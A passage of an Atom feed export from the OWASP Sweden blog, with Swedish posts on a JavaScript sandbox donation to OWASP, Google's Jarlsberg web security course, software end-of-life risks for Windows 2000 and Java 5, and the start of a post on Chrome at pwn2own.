src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tONVxa3WGQM/S-aR4gYCR0I/AAAAAAAAAR0/8egMhf98K7Y/s72-c/OWASP_AppSec_Research_2010_Sqaure_Banner.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-6051345951778670234</id><published>2010-05-06T23:14:00.002+02:00</published><updated>2010-05-06T23:21:13.172+02:00</updated><title type='text'>Sandlådor för CSS/HTML/JavaScript</title><content type='html'>&lt;div&gt;Gareth Heyes donerar sina tre sandlådeprojekt till OWASP. Så här skrev han nyss på leaders-listan:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;i&gt;I'm donating CSSReg/HTMLReg/JSReg to OWASP.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://code.google.com/p/jsreg/"&gt;https://code.google.com/p/jsreg/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/htmlreg/"&gt;http://code.google.com/p/htmlreg/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/cssreg/"&gt;http://code.google.com/p/cssreg/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Currently I use a local SVN server but I'm switching to Google code with the above projects. All projects are developed in JavaScript and use regular expressions to create a safe sandboxed version of the language. I know you have Anti-Samy which is very good (I've tested it) I don't want to compete with that but rather offer devs a safe way of outputting code using JavaScript.&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-6051345951778670234?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/6051345951778670234/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=6051345951778670234' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6051345951778670234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/6051345951778670234'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/sandlador-for-csshtmljavascript.html' title='Sandlådor för CSS/HTML/JavaScript'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-4576762841529503473</id><published>2010-05-06T16:52:00.003+02:00</published><updated>2010-05-06T17:08:36.300+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='applikationssäkerhet'/><category scheme='http://www.blogger.com/atom/ns#' term='kurs'/><category scheme='http://www.blogger.com/atom/ns#' term='csrf'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>Öppen Google-kurs i webbsäkerhet</title><content type='html'>Google har kommit med en öppen kurs i utveckling av säkra webbapplikationer – &lt;i&gt;&lt;a href="http://jarlsberg.appspot.com/"&gt;Web Application Exploits and Defenses&lt;/a&gt;&lt;/i&gt;. Genom ett antal labbar får man prova att hacka en medvetet sårbar bloggapplikation vid namn Jarlsberg.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://jarlsberg.appspot.com/static/jarlsberg.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 250px;" src="http://jarlsberg.appspot.com/static/jarlsberg.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Labbarna i att knäcka Jarlsberg finns i tre typer:&lt;div&gt;&lt;ul&gt;&lt;li&gt;Blackbox: Du kan lösa labben utan att titta på hur applikationen är konstruerad.&lt;/li&gt;&lt;li&gt;Whitebox: Du måste på något sätt undersöka applikationens källkod.&lt;/li&gt;&lt;li&gt;Ledtråd: Du får en ledtråd som hjälper dig lösa labben.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Bland labbarna finns:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;Cross-site scripting&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Cross-site request forgery&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Denial of service&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;Remote code execution&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Givetvis lär man sig säkra Jarlsberg parallellt.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-4576762841529503473?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/4576762841529503473/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=4576762841529503473' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/4576762841529503473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/4576762841529503473'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/oppen-google-kurs-i-webbsakerhet.html' title='Öppen Google-kurs i webbsäkerhet'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-7333557761838140936</id><published>2010-05-03T17:00:00.004+02:00</published><updated>2010-05-03T17:25:55.582+02:00</updated><title type='text'>EOL – snart i en produkt nära dig</title><content type='html'>&lt;i&gt;End of Life&lt;/i&gt;. EOL. Inga fler uppdateringar, inga patchar. &lt;i&gt;You're on your own&lt;/i&gt;.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Så ser det ut för fler mjuvaruprodukter än man kanske vill veta.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Windows 2000 dör i sommar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Den 13:e juli &lt;a href="http://support.microsoft.com/lifecycle/?p1=7274"&gt;dör&lt;/a&gt; Windows 2000 även för dem som köpt utökad support. Man får hoppas att inga kritiska applikationer snurrar på Win2k efter det datumet. Särskilt inte om maskinen har kontakt med Internet.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Java 5 dog i november förra året&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Ännu mer skrämmande är att Java 5 &lt;a href="http://java.sun.com/javase/downloads/index_jdk5.jsp"&gt;dog&lt;/a&gt; 3:e november förra året. Det är jättemånga som fortfarande kör Suns Java 5. Har de köpt utökad support?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Den sista mars kom nämligen &lt;a href="http://secunia.com/advisories/37255/"&gt;Secunia Advisory SA37255&lt;/a&gt;:&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;Sun Java JDK / JRE Multiple Vulnerabilities&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;... som motsvaras av patchen &lt;a href="http://sunsolve.sun.com/search/document.do?assetkey=1-21-118669-26-1"&gt;JavaSE 5.0_x86: update 24 patch&lt;/a&gt; – en diger lista med säkerhetshål, toppad av en &lt;i&gt;remote exploit&lt;/i&gt; via &lt;i&gt;buffer overflow&lt;/i&gt; (6901039 CVE-2009-3910 - Java HsbParser.getSoundBank &lt;i&gt;Heap Buffer Overflow Vulnerability&lt;/i&gt;)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Förvisso ett klientproblem men det är onekligen läge att patcha. Är då denna patch tillgänglig för alla? Jag skaffade ett vanligt SunSolve-konto och fick beskedet: &lt;span class="Apple-style-span" style="font-style: italic; "&gt;"You have selected premium content which requires a valid Sun Contract to access".&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Java har fler problem&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Ovanstående Java-buggar toppades sen upp med ett par feta &lt;a href="http://secunia.com/advisories/39260/"&gt;säkerhetshål i Java 6&lt;/a&gt; nu för två veckor sen. De problemen anses så allvarliga att Java som webbläsar-plugin har &lt;a href="http://www.mozilla.com/en-US/blocklist/"&gt;svartlistats av Mozilla&lt;/a&gt; från version 6.0.200.0 och bakåt.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Har alla koll på EOL?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Frågan är om alla har koll på EOL för sina kritiska komponenter? Anses det som en säkerhetsrisk eller sorterar det under licenser och support? Jag tror det ser rätt illa ut på många ställen.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-7333557761838140936?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/7333557761838140936/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=7333557761838140936' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7333557761838140936'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7333557761838140936'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/05/eol-snart-i-en-produkt-nara-dig.html' title='EOL – snart i en produkt nära dig'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1973014869339180651</id><published>2010-04-29T23:03:00.005+02:00</published><updated>2010-04-29T23:14:13.459+02:00</updated><title type='text'>Et tu, Chrome</title><content type='html'>Så faller då också Chrome. Den hyllades ju som enda överlevande webbläsare under vårens hacktävling pwn2own vilket jag &lt;a href="http://owaspsweden.b
